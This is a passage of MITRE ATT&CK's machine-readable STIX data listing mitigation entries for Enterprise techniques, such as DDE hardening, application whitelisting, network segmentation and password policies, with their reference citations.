Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1154","external_id":"T1154"}],"modified":"2019-07-25T12:29:22.784Z","name":"Trap Mitigation","description":"Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-12T15:34:54.912Z","name":"Out-of-Band Communications Channel","description":"Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems. Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.(Citation: TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision 5)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"course-of-action","id":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","created":"2024-08-30T13:08:10.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1060","external_id":"M1060"},{"source_name":"NIST Special Publication 800-53 Revision 5","description":"National Institute of Standards and Technology. (2020, September). Security and Privacy Controlsfor Information Systems and Organizations. Retrieved August 30, 2024.","url":"https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf"},{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1173","external_id":"T1173"},{"source_name":"Microsoft DDE Advisory Nov 2017","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","url":"https://technet.microsoft.com/library/security/4053440"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b","description":"Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.","source_name":"GitHub Disable DDEAUTO Oct 2017"},{"source_name":"Microsoft ADV170021 Dec 2017","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"},{"url":"https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653","description":"Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.","source_name":"Microsoft Protected View"},{"source_name":"Enigma Reviving DDE Jan 2018","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"},{"url":"https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction","description":"Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.","source_name":"Microsoft ASR Nov 2017"}],"modified":"2019-07-24T19:15:27.335Z","name":"Dynamic Data Exchange Mitigation","description":"Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628","type":"course-of-action","created":"2019-04-22T22:03:26.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1499","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1499"},{"description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","source_name":"CERT-EU DDoS March 2017"}],"modified":"2019-07-24T19:16:50.511Z","name":"Endpoint Denial of Service Mitigation","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1124","url":"https://attack.mitre.org/mitigations/T1124","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.239Z","name":"System Time Discovery Mitigation","description":"Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1116","url":"https://attack.mitre.org/mitigations/T1116","source_name":"mitre-attack"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"TechNet Trusted Publishers","description":"Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.","url":"https://technet.microsoft.com/en-us/library/cc733026.aspx"},{"source_name":"Securelist Digital Certificates","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"}],"modified":"2020-01-17T16:45:23.319Z","name":"Code Signing Mitigation","description":"Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--83130e62-bca6-4a81-bd4b-8e233bd49db6","type":"course-of-action","created":"2019-04-23T20:33:09.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1501","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1501"}],"modified":"2019-07-25T12:26:37.946Z","name":"Systemd Service Mitigation","description":"The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. ","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--84d633a4-dd93-40ca-8510-40238c021931","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1158","external_id":"T1158"}],"modified":"2019-07-24T19:35:33.631Z","name":"Hidden Files and Directories Mitigation","description":"Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","type":"course-of-action","created":"2019-06-10T20:41:03.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1030","url":"https://attack.mitre.org/mitigations/M1030"}],"modified":"2020-05-14T13:05:39.500Z","name":"Network Segmentation","description":"Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8","type":"course-of-action","created":"2019-06-06T19:55:50.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1019","url":"https://attack.mitre.org/mitigations/M1019"}],"modified":"2019-06-06T19:55:50.927Z","name":"Threat Intelligence Program","description":"A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1141","external_id":"T1141"}],"modified":"2019-07-24T19:42:41.375Z","name":"Input Prompt Mitigation","description":"This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1060","url":"https://attack.mitre.org/mitigations/T1060","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.869Z","name":"Registry Run Keys / Startup Folder Mitigation","description":"Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1119","url":"https://attack.mitre.org/mitigations/T1119","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:18.154Z","name":"Automated Collection Mitigation","description":"Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1085","external_id":"T1085"},{"source_name":"Secure Host Baseline EMET","description":"National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.","url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"}],"modified":"2019-07-25T11:36:40.673Z","name":"Rundll32 Mitigation","description":"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1193","external_id":"T1193"}],"modified":"2019-07-25T11:50:34.690Z","name":"Spearphishing Attachment Mitigation","description":"Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1006","url":"https://attack.mitre.org/mitigations/T1006","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.208Z","name":"File System Logical Offsets Mitigation","description":"Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-21T15:52:23.327Z","name":"Password Policies","description":"Set and enforce secure password policies for accounts.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"course-of-action","id":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","created":"2019-06-06T21:10:35.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1027","external_id":"M1027"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","type":"course-of-action","created":"2019-06-11T16:43:05.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1040","url":"https://attack.mitre.org/mitigations/M1040"}],"modified":"2019-06-11T16:43:05.712Z","name":"Behavior Prevention on Endpoint","description":"Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--910482b1-6749-4934-abcb-3e34d58294fc","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1175","external_id":"T1175"},{"source_name":"Microsoft Process Wide Com Keys","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"},{"source_name":"Microsoft System Wide Com Keys","description":"Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"},{"source_name":"Microsoft COM ACL","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"},{"url":"https://technet.microsoft.com/library/cc771387.aspx","description":"Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.","source_name":"Microsoft Disable DCOM"},{"url":"https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653","description":"Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.","source_name":"Microsoft Protected View"}],"modified":"2019-07-24T19:12:02.818Z","name":"Distributed Component Object Model Mitigation","description":"Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--91816292-3686-4a6e-83c4-4c08513b9b57","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1191","external_id":"T1191"},{"source_name":"MSitPros CMSTP Aug 2017","description":"Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.","url":"https://msitpros.com/?p=3960"}],"modified":"2019-07-24T18:04:13.126Z","name":"CMSTP Mitigation","description":"CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 